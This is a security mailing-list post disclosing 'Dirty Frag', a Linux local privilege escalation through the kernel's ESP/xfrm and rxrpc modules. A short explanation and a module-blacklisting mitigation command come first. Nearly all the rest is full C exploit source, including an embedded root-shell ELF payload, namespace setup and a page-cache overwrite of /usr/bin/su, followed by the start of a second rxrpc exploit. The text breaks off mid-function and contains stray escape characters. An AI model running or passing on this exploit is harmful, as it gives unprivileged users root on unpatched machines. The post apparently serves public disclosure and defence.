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Message-ID: <afzgS2SCWNcZU3vU@v4bel>
Date: Fri, 8 May 2026 03:56:11 +0900
From: Hyunwoo Kim <imv4bel@...il.com>
To: oss-security@...ts.openwall.com
Cc: imv4bel@...il.com
Subject: Dirty Frag: Universal Linux LPE
Hi,
This is a report on "Dirty Frag", a universal LPE that allows obtaining
root privileges on all major distributions.
This vulnerability has a similar impact to the previous Copy Fail.
Because the embargo has now been broken, no patches or CVEs exist for
these vulnerabilities. After consultation with the linux-distros@...openwall.org
maintainers, and at the maintainers' request, I am publicly releasing this
Dirty Frag document.
As with the previous Copy Fail vulnerability, Dirty Frag likewise allows
immediate root privilege escalation on all major distributions, and it
chains two separate vulnerabilities:
Because the responsible disclosure schedule and embargo have been broken,
no patches exist for any distribution. Use the following command to remove the
modules in which the vulnerabilities occur:
```
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
```
For detailed technical information about the vulnerabilities and the reason the
embargo was broken, please check https://dirtyfrag.io.
Full exploit code:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif
#define ENC_PORT 4500
#define SEQ_VAL 200
#define REPLAY_SEQ 100
#define TARGET_PATH "/usr/bin/su"
#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
/*
* 192-byte minimal x86_64 root-shell ELF.
* _start at 0x400078:
* setgid(0); setuid(0); setgroups(0, NULL);
* execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
* PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
*
* Setting TERM in the new shell's env silences the
* "tput: No value for $TERM" / "test: : integer expected" noise
* /etc/bash.bashrc and friends emit when TERM is unset.
*
* Code (from offset 0x78):
* 31 ff xor edi, edi
* 31 f6 xor esi, esi
* 31 c0 xor eax, eax
* b0 6a mov al, 0x6a ; setgid
* 0f 05 syscall
* b0 69 mov al, 0x69 ; setuid
* 0f 05 syscall
* b0 74 mov al, 0x74 ; setgroups
* 0f 05 syscall
* 6a 00 push 0 ; envp[1] = NULL
* 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
* 50 push rax ; envp[0]
* 48 89 e2 mov rdx, rsp ; rdx = envp
* 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
* 31 f6 xor esi, esi ; rsi = NULL (argv)
* 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
* 0f 05 syscall ; execve("/bin/sh",NULL,envp)
* "TERM=xterm\0" (offset 0xa5..0xaf)
* "/bin/sh\0" (offset 0xb0..0xb7)
*/
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
static void setup_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
SLOG("unshare: %s", strerror(errno));
exit(1);
}
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", real_uid);
if (write_proc("/proc/self/uid_map", map) < 0) {
SLOG("uid_map: %s", strerror(errno)); exit(1);
}
snprintf(map, sizeof(map), "0 %u 1", real_gid);
if (write_proc("/proc/self/gid_map", map) < 0) {
SLOG("gid_map: %s", strerror(errno)); exit(1);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
close(s);
}
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (sk < 0) return -1;
struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf\[4096\] = {0};
struct nlmsghdr \*nlh = (struct nlmsghdr \*)buf;
nlh->nlmsg\_type = XFRM\_MSG\_NEWSA;
nlh->nlmsg\_flags = NLM\_F\_REQUEST | NLM\_F\_ACK;
nlh->nlmsg\_pid = getpid();
nlh->nlmsg\_seq = 1;
nlh->nlmsg\_len = NLMSG\_LENGTH(sizeof(struct xfrm\_usersa\_info));
struct xfrm\_usersa\_info \*xs = (struct xfrm\_usersa\_info \*)NLMSG\_DATA(nlh);
xs->id.daddr.a4 = inet\_addr("127.0.0.1");
xs->id.spi = htonl(spi);
xs->id.proto = IPPROTO\_ESP;
xs->saddr.a4 = inet\_addr("127.0.0.1");
xs->family = AF\_INET;
xs->mode = XFRM\_MODE\_TRANSPORT;
xs->replay\_window = 0;
xs->reqid = 0x1234;
xs->flags = XFRM\_STATE\_ESN;
xs->lft.soft\_byte\_limit = (uint64\_t)-1;
xs->lft.hard\_byte\_limit = (uint64\_t)-1;
xs->lft.soft\_packet\_limit = (uint64\_t)-1;
xs->lft.hard\_packet\_limit = (uint64\_t)-1;
xs->sel.family = AF\_INET;
xs->sel.prefixlen\_d = 32;
xs->sel.prefixlen\_s = 32;
xs->sel.daddr.a4 = inet\_addr("127.0.0.1");
xs->sel.saddr.a4 = inet\_addr("127.0.0.1");
{
char alg\_buf\[sizeof(struct xfrm\_algo\_auth) + 32\];
memset(alg\_buf, 0, sizeof(alg\_buf));
struct xfrm\_algo\_auth \*aa = (struct xfrm\_algo\_auth \*)alg\_buf;
strncpy(aa->alg\_name, "hmac(sha256)", sizeof(aa->alg\_name)-1);
aa->alg\_key\_len = 32 \* 8;
aa->alg\_trunc\_len = 128;
memset(aa->alg\_key, 0xAA, 32);
put\_attr(nlh, XFRMA\_ALG\_AUTH\_TRUNC, alg\_buf, sizeof(alg\_buf));
}
{
char alg\_buf\[sizeof(struct xfrm\_algo) + 16\];
memset(alg\_buf, 0, sizeof(alg\_buf));
struct xfrm\_algo \*ea = (struct xfrm\_algo \*)alg\_buf;
strncpy(ea->alg\_name, "cbc(aes)", sizeof(ea->alg\_name)-1);
ea->alg\_key\_len = 16 \* 8;
memset(ea->alg\_key, 0xBB, 16);
put\_attr(nlh, XFRMA\_ALG\_CRYPT, alg\_buf, sizeof(alg\_buf));
}
{
struct xfrm\_encap\_tmpl enc;
memset(&enc, 0, sizeof(enc));
enc.encap\_type = UDP\_ENCAP\_ESPINUDP;
enc.encap\_sport = htons(ENC\_PORT);
enc.encap\_dport = htons(ENC\_PORT);
enc.encap\_oa.a4 = 0;
put\_attr(nlh, XFRMA\_ENCAP, &enc, sizeof(enc));
}
{
char esn\_buf\[sizeof(struct xfrm\_replay\_state\_esn) + 4\];
memset(esn\_buf, 0, sizeof(esn\_buf));
struct xfrm\_replay\_state\_esn \*esn = (struct xfrm\_replay\_state\_esn \*)esn\_buf;
esn->bmp\_len = 1;
esn->oseq = 0;
esn->seq = REPLAY\_SEQ;
esn->oseq\_hi = 0;
esn->seq\_hi = patch\_seqhi;
esn->replay\_window = 32;
put\_attr(nlh, XFRMA\_REPLAY\_ESN\_VAL, esn\_buf, sizeof(esn\_buf));
}
if (send(sk, nlh, nlh->nlmsg\_len, 0) < 0) { close(sk); return -1; }
char rbuf\[4096\];
int n = recv(sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { close(sk); return -1; }
struct nlmsghdr \*rh = (struct nlmsghdr \*)rbuf;
if (rh->nlmsg\_type == NLMSG\_ERROR) {
struct nlmsgerr \*e = NLMSG\_DATA(rh);
if (e->error) { close(sk); return -1; }
}
close(sk);
return 0;
}
static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_recv < 0) return -1;
int one = 1;
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in sa_d = {
.sin_family = AF_INET,
.sin_port = htons(ENC_PORT),
.sin_addr = { inet_addr("127.0.0.1") },
};
if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_recv); return -1;
}
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
close(sk_recv); return -1;
}
int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_send < 0) { close(sk_recv); return -1; }
if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_send); close(sk_recv); return -1;
}
int file_fd = open(path, O_RDONLY);
if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd\[2\];
if (pipe(pfd) < 0) { close(file\_fd); close(sk\_send); close(sk\_recv); return -1; }
uint8\_t hdr\[24\];
\*(uint32\_t\*)(hdr + 0) = htonl(spi);
\*(uint32\_t\*)(hdr + 4) = htonl(SEQ\_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov\_h = { .iov\_base = hdr, .iov\_len = sizeof(hdr) };
if (vmsplice(pfd\[1\], &iov\_h, 1, 0) != (ssize\_t)sizeof(hdr)) {
close(file\_fd); close(pfd\[0\]); close(pfd\[1\]); close(sk\_send); close(sk\_recv); return -1;
}
off\_t off = offset;
ssize\_t s = splice(file\_fd, &off, pfd\[1\], NULL, 16, SPLICE\_F\_MOVE);
if (s != 16) {
close(file\_fd); close(pfd\[0\]); close(pfd\[1\]); close(sk\_send); close(sk\_recv); return -1;
}
s = splice(pfd\[0\], NULL, sk\_send, NULL, 24 + 16, SPLICE\_F\_MOVE);
/\* still proceed regardless of splice rc — kernel may have already
\* decrypted the page in the time between splice and recv \*/
usleep(150 \* 1000);
close(file\_fd); close(pfd\[0\]); close(pfd\[1\]);
close(sk\_send); close(sk\_recv);
return s == 40 ? 0 : -1;
}
static int verify_byte(const char *path, off_t offset, uint8_t want)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
uint8_t got;
if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
close(fd);
return got == want ? 0 : -1;
}
static int corrupt_su(void)
{
setup_userns_netns();
usleep(100 * 1000);
/\* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the
\* desired payload word in its seq\_hi field. \*/
for (int i = 0; i < PAYLOAD\_LEN / 4; i++) {
uint32\_t spi = 0xDEADBE10 + i;
uint32\_t seqhi =
((uint32\_t)shell\_elf\[i\*4 + 0\] << 24) |
((uint32\_t)shell\_elf\[i\*4 + 1\] << 16) |
((uint32\_t)shell\_elf\[i\*4 + 2\] << 8) |
((uint32\_t)shell\_elf\[i\*4 + 3\]);
if (add\_xfrm\_sa(spi, seqhi) < 0) {
SLOG("add\_xfrm\_sa #%d failed", i);
return -1;
}
}
SLOG("installed %d xfrm SAs", PAYLOAD\_LEN / 4);
for (int i = 0; i < PAYLOAD\_LEN / 4; i++) {
uint32\_t spi = 0xDEADBE10 + i;
off\_t off = PATCH\_OFFSET + i \* 4;
if (do\_one\_write(TARGET\_PATH, off, spi) < 0) {
SLOG("do\_one\_write #%d at off=0x%lx failed", i, (long)off);
return -1;
}
}
SLOG("wrote %d bytes to %s starting at 0x%x",
PAYLOAD\_LEN, TARGET\_PATH, PATCH\_OFFSET);
return 0;
}
int su_lpe_main(int argc, char **argv)
{
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
g_su_verbose = 1;
else if (!strcmp(argv[i], "--corrupt-only"))
; /* compat: this body always corrupts only */
}
if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
pid\_t cpid = fork();
if (cpid < 0) return 1;
if (cpid == 0) {
int rc = corrupt\_su();
\_exit(rc == 0 ? 0 : 2);
}
int cstatus;
waitpid(cpid, &cstatus, 0);
if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
SLOG("corruption stage failed (status=0x%x)", cstatus);
return 1;
}
/\* Sanity check: bytes at the embedded ELF entry (file offset 0x78
\* after our overwrite) should be 0x31 0xff (xor edi, edi — first
\* instruction of the new shellcode). \*/
if (verify\_byte(TARGET\_PATH, ENTRY\_OFFSET, 0x31) != 0 ||
verify\_byte(TARGET\_PATH, ENTRY\_OFFSET + 1, 0xff) != 0) {
SLOG("post-write verify failed (target unchanged)");
return 1;
}
SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
ENTRY\_OFFSET);
return 0;
}
/*
* rxrpc/rxkad LPE — uid=1000 → root
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sched.h>
#include <poll.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <linux/if_alg.h>
#include <net/if.h>
#include <termios.h>
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000000
#endif
/* ---- rxrpc constants ---- */
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_ACK 2
#define RXRPC_PACKET_TYPE_ABORT 4
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_PACKET_TYPE_RESPONSE 7
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_REQUEST_ACK 0x02
#define RXRPC_LAST_PACKET 0x04
#define RXRPC_CHANNELMASK 3
#define RXRPC_CIDSHIFT 2
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum; /* big-endian on wire */
uint16_t serviceId;
} __attribute__((packed));
struct rxkad_challenge {
uint32_t version;
uint32_t nonce;
uint32_t min_level;
uint32_t __padding;
} __attribute__((packed));
/* Attacker-chosen 8-byte session key used for the rxkad token.
* Mutable because the LPE brute-force iterates over keys looking for
* one that decrypts the file's UID field to a "0:" prefix. */
static uint8_t SESSION_KEY[8] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
/* =================================================================== */
/* unshare + map setup */
/* =================================================================== */
static int write_file(const char *path, const char *fmt, ...)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
char buf[256]; va_list ap; va_start(ap, fmt);
int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
int r = (int)write(fd, buf, n); close(fd);
return r;
}
static int do_unshare_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno));
return -1;
}
LOG("unshare(USER|NET) OK, real uid=%u", real_uid);
write_file("/proc/self/setgroups", "deny");
if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) {
WARN("uid_map: %s", strerror(errno)); return -1;
}
if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) {
WARN("gid_map: %s", strerror(errno)); return -1;
}
LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns",
real_uid, real_gid);
/\* ifup lo \*/
int s = socket(AF\_INET, SOCK\_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr\_name, "lo");
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr\_flags |= IFF\_UP | IFF\_RUNNING;
if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
WARN("SIOCSIFFLAGS lo: %s", strerror(errno));
else
LOG("lo brought UP in new netns");
}
close(s);
}
return 0;
}
/* =================================================================== */
/* rxrpc key (rxkad v1 token with attacker session key) */
/* =================================================================== */
static long key_add(const char *type, const char *desc,
const void *payload, size_t plen, int ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen)
{
uint8_t *p = out;
uint32_t now = (uint32_t)time(NULL);
uint32_t expires = now + 86400;
*(uint32_t *)p = htonl(0); p += 4; /* flags */
const char *cell = "evil";
uint32_t clen = strlen(cell);
*(uint32_t *)p = htonl(clen); p += 4;
memcpy(p, cell, clen);
uint32_t pad = (4 - (clen & 3)) & 3;
memset(p + clen, 0, pad);
p += clen + pad;
*(uint32_t *)p = htonl(1); p += 4; /* ntoken */
uint8_t *toklen_p = p; p += 4;
uint8_t *tokstart = p;
*(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */
*(uint32_t *)p = htonl(0); p += 4; /* vice_id */
*(uint32_t *)p = htonl(1); p += 4; /* kvno */
memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */
*(uint32_t *)p = htonl(now); p += 4;
*(uint32_t *)p = htonl(expires); p += 4;
*(uint32_t *)p = htonl(1); p += 4; /* primary_flag */
*(uint32_t *)p = htonl(8); p += 4; /* ticket_len */
memset(p, 0xCC, 8); p += 8; /* ticket */
uint32_t toklen = (uint32_t)(p - tokstart);
*(uint32_t *)toklen_p = htonl(toklen);
if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; }
return (int)(p - out);
}
static long add_rxrpc_key(const char *desc)
{
uint8_t buf[512];
int n = build_rxrpc_v1_token(buf, sizeof(buf));
if (n < 0) return -1;
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}
/* =================================================================== */
/* AF_ALG pcbc(fcrypt) helpers */
/* =================================================================== */
static int alg_open_pcbc_fcrypt(const uint8_t key[8])
{
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; }
struct sockaddr_alg sa = { .salg_family = AF_ALG };
strcpy((char *)sa.salg_type, "skcipher");
strcpy((char *)sa.salg_name, "pcbc(fcrypt)");
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno));
close(s); return -1;
}
if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) {
WARN("ALG_SET_KEY: %s", strerror(errno));
close(s); return -1;
}
return s;
}
/* Encrypt-or-decrypt a 1+ block of data with a given IV. */
static int alg_op(int alg_s, int op, const uint8_t iv[8],
const void *in, size_t inlen, void *out)
{
int op_fd = accept(alg_s, NULL, NULL);
if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; }
char cbuf\[CMSG\_SPACE(sizeof(int)) +
CMSG\_SPACE(sizeof(struct af\_alg\_iv) + 8)\] = {0};
struct msghdr msg = {0};
msg.msg\_control = cbuf;
msg.msg\_controllen = sizeof(cbuf);
struct cmsghdr \*c = CMSG\_FIRSTHDR(&msg);
c->cmsg\_level = SOL\_ALG;
c->cmsg\_type = ALG\_SET\_OP;
c->cmsg\_len = CMSG\_LEN(sizeof(int));
\*(int \*)CMSG\_DATA(c) = op;
c = CMSG\_NXTHDR(&msg, c);
c->cmsg\_level = SOL\_ALG;
c->cmsg\_type = ALG\_SET\_IV;
c->cmsg\_len = CMSG\_LEN(sizeof(struct af\_alg\_iv) + 8);
struct af\_alg\_iv \*aiv = (struct af\_alg\_iv \*)CMSG\_DATA(c);
aiv->ivlen = 8;
memcpy(aiv->iv, iv, 8);
struct iovec iov = { .iov\_base = (void \*)in, .iov\_len = inlen };
msg.msg\_iov = &iov; msg.msg\_iovlen = 1;
if (sendmsg(op\_fd, &msg, 0) < 0) {
WARN("AF\_ALG sendmsg: %s", strerror(errno));
close(op\_fd); return -1;
}
ssize\_t n = read(op\_fd, out, inlen);
close(op\_fd);
if (n != (ssize\_t)inlen) {
WARN("AF\_ALG read got %zd want %zu: %s",
n, inlen, strerror(errno));
return -1;
}
return 0;
}
/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security):
* tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B)
* PCBC-encrypt(tmpbuf, IV=session_key) → out[16]
* csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption)
*/
static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix,
const uint8_t key[8], uint8_t csum_iv[8])
{
int s = alg_open_pcbc_fcrypt(key);
if (s < 0) return -1;
uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) };
uint8_t out[16];
int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out);
close(s);
if (rc < 0) return -1;
memcpy(csum_iv, out + 8, 8);
return 0;
}
/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342):
* x = (cid_low2 << 30) | (seq & 0x3fffffff)
* buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B)
* PCBC-encrypt(buf, IV=csum_iv) → enc[8]
* y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1
*/
static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq,
const uint8_t key[8], const uint8_t csum_iv[8],
uint16_t *cksum_out)
{
int s = alg_open_pcbc_fcrypt(key);
if (s < 0) return -1;
uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT);
x |= seq & 0x3fffffff;
uint32_t in[2] = { htonl(call_id), htonl(x) };
uint32_t out[2];
int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out);
close(s);
if (rc < 0) return -1;
uint32_t y = ntohl(out[1]);
uint16_t v = (y >> 16) & 0xffff;
if (v == 0) v = 1;
*cksum_out = v;
return 0;
}
/* =================================================================== */
/* AF_RXRPC client */
/* =================================================================== */
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; }
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0) {
WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1;
}
int min_level = RXRPC_SECURITY_AUTH;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&min_level, sizeof(min_level)) < 0) {
WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno));
close(fd); return -1;
}
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = 0;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(local_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
WARN("client bind :%u: %s", local_port, strerror(errno));
close(fd); return -1;
}
LOG("AF_RXRPC client bound :%u", local_port);
return fd;
}
static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port,
uint16_t service_id,
unsigned long user_call_id)
{
char data[8] = "PINGPING";
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = service_id;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(srv_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg\_buf\[CMSG\_SPACE(sizeof(unsigned long))\];
struct msghdr msg = {0};
msg.msg\_name = &srx; msg.msg\_namelen = sizeof(srx);
struct iovec iov = { .iov\_base = data, .iov\_len = sizeof(data) };
msg.msg\_iov = &iov; msg.msg\_iovlen = 1;
msg.msg\_control = cmsg\_buf; msg.msg\_controllen = sizeof(cmsg\_buf);
struct cmsghdr \*cmsg = CMSG\_FIRSTHDR(&msg);
cmsg->cmsg\_level = SOL\_RXRPC;
cmsg->cmsg\_type = RXRPC\_USER\_CALL\_ID;
cmsg->cmsg\_len = CMSG\_LEN(sizeof(unsigned long));
\*(unsigned long \*)CMSG\_DATA(cmsg) = user\_call\_id;
/\* Don't block forever if no reply ever comes through this single sendmsg. \*/
int fl = fcntl(cli\_fd, F\_GETFL);
fcntl(cli\_fd, F\_SETFL, fl | O\_NONBLOCK);
ssize\_t n = sendmsg(cli\_fd, &msg, 0);
fcntl(cli\_fd, F\_SETFL, fl);
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
LOG("client sendmsg returned EAGAIN (expected; kernel will keep "
"retrying handshake)");
return 0;
}
WARN("client sendmsg: %s", strerror(errno));
return -1;
}
LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)",
n, srv\_port);
return 0;
}
/* =================================================================== */
/* fake-server (plain UDP) */
/* =================================================================== */
static int setup_udp_server(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; }
struct sockaddr_in sa = {0};
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = htonl(0x7F000001);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
WARN("udp server bind :%u: %s", port, strerror(errno));
close(s); return -1;
}
LOG("plain UDP fake-server bound :%u", port);
return s;
}
/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */
static ssize_t udp_recv_to(int s, void *buf, size_t cap,
struct sockaddr_in *from, int timeout_ms)
{
struct pollfd pfd = { .fd = s, .events = POLLIN };
